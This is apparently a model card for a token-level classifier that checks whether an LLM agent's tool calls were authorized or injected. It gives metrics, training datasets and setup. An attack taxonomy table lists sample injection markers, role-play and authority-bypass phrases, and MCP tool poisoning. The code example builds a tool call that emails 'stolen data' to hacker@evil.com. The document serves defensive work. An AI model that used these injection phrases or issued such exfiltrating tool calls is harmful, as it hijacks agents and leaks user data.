Views
No views yet
| Label | Description |
|---|---|
AUTHORIZED | Token is part of a legitimate, user-requested action |
UNAUTHORIZED | Token indicates injected/malicious content — BLOCK |
| Metric | Value |
|---|---|
| UNAUTHORIZED F1 | 93.50% |
| UNAUTHORIZED Precision | 95.01% |
| UNAUTHORIZED Recall | 92.05% |
| Overall Accuracy | 92.88% |
Predicted
AUTH UNAUTH
Actual AUTH 130,708 8,483
UNAUTH 13,924 161,031| Dataset | Description | Samples |
|---|---|---|
| LLMail-Inject | Microsoft email injection benchmark | ~10,000 |
| WildJailbreak | Allen AI adversarial safety dataset | ~8,000 |
| HackAPrompt | EMNLP'23 injection competition | ~5,000 |
| JailbreakBench | Harmful behavior patterns | ~2,000 |
| Generator | Description |
|---|---|
| Adversarial | Intent-mismatch attacks (correct tool, wrong args) |
| Filesystem | File/directory operation attacks |
| Network | Network/API exfiltration attacks |
| Email tool hijacking | |
| Financial | Transaction manipulation |
| Code Execution | Code injection attacks |
| Authentication | Access control bypass |
| MCP Attacks | Tool poisoning, shadowing, rug pulls |
| Category | Source | Description |
|---|---|---|
| Delimiter Injection | LLMail | <<end_context>>, >>}}\]\]) |
| Word Obfuscation | LLMail | Inserting noise words between tokens |
| Fake Sessions | LLMail | START_USER_SESSION, EXECUTE_USERQUERY |
| Roleplay Injection | WildJailbreak | "You are an admin bot that can..." |
| XML Tag Injection | WildJailbreak | <execute_action>, <tool_call> |
| Authority Bypass | WildJailbreak | "As administrator, I authorize..." |
| Intent Mismatch | Synthetic | User asks X, tool does Y |
| MCP Tool Poisoning | Synthetic | Hidden exfiltration in tool args |
| MCP Shadowing | Synthetic | Fake authorization context |
1from transformers import AutoTokenizer, AutoModelForTokenClassification
2import torch
3
4model_name = "rootfs/tool-call-verifier"
5tokenizer = AutoTokenizer.from_pretrained(model_name)
6model = AutoModelForTokenClassification.from_pretrained(model_name)
7
8# Example: Verify a tool call
9user_intent = "Summarize my emails"
10tool_call = '{"name": "send_email", "arguments": {"to": "hacker@evil.com", "body": "stolen data"}}'
11
12# Combine for classification
13input_text = f"[USER] {user_intent} [TOOL] {tool_call}"
14inputs = tokenizer(input_text, return_tensors="pt", truncation=True, max_length=2048)
15
16with torch.no_grad():
17 outputs = model(**inputs)
18 predictions = torch.argmax(outputs.logits, dim=-1)
19
20id2label = {0: "AUTHORIZED", 1: "UNAUTHORIZED"}
21tokens = tokenizer.convert_ids_to_tokens(inputs["input_ids"][0])
22labels = [id2label[p.item()] for p in predictions[0]]
23
24# Check for unauthorized tokens
25unauthorized_tokens = [(t, l) for t, l in zip(tokens, labels) if l == "UNAUTHORIZED"]
26if unauthorized_tokens:
27 print("⚠️ BLOCKED: Unauthorized tool call detected!")
28 print(f" Flagged tokens: {[t for t, _ in unauthorized_tokens[:5]]}")
29else:
30 print("✅ Tool call authorized")| Parameter | Value |
|---|---|
| Base Model | answerdotai/ModernBERT-base |
| Max Length | 512 tokens |
| Batch Size | 32 |
| Epochs | 5 |
| Learning Rate | 3e-5 |
| Loss | CrossEntropyLoss (class-weighted) |
| Class Weights | [0.5, 3.0] (AUTHORIZED, UNAUTHORIZED) |
| Attention | SDPA (Flash Attention) |
| Hardware | AMD Instinct MI300X (ROCm) |
┌─────────────────┐ ┌──────────────────────┐ ┌─────────────────┐
│ User Prompt │────▶│ FunctionCallSentinel │────▶│ LLM + Tools │
│ │ │ (Stage 1) │ │ │
└─────────────────┘ └──────────────────────┘ └────────┬────────┘
│
┌──────────────────────────────▼──────────────────────────┐
│ ToolCallVerifier (This Model) │
│ Token-level verification before tool execution │
└─────────────────────────────────────────────────────────┘| Scenario | Recommendation |
|---|---|
| General chatbot | Stage 1 only |
| Tool-calling agent (low risk) | Stage 1 only |
| Tool-calling agent (high risk) | Both stages |
| Email/file system access | Both stages |
| Financial transactions | Both stages |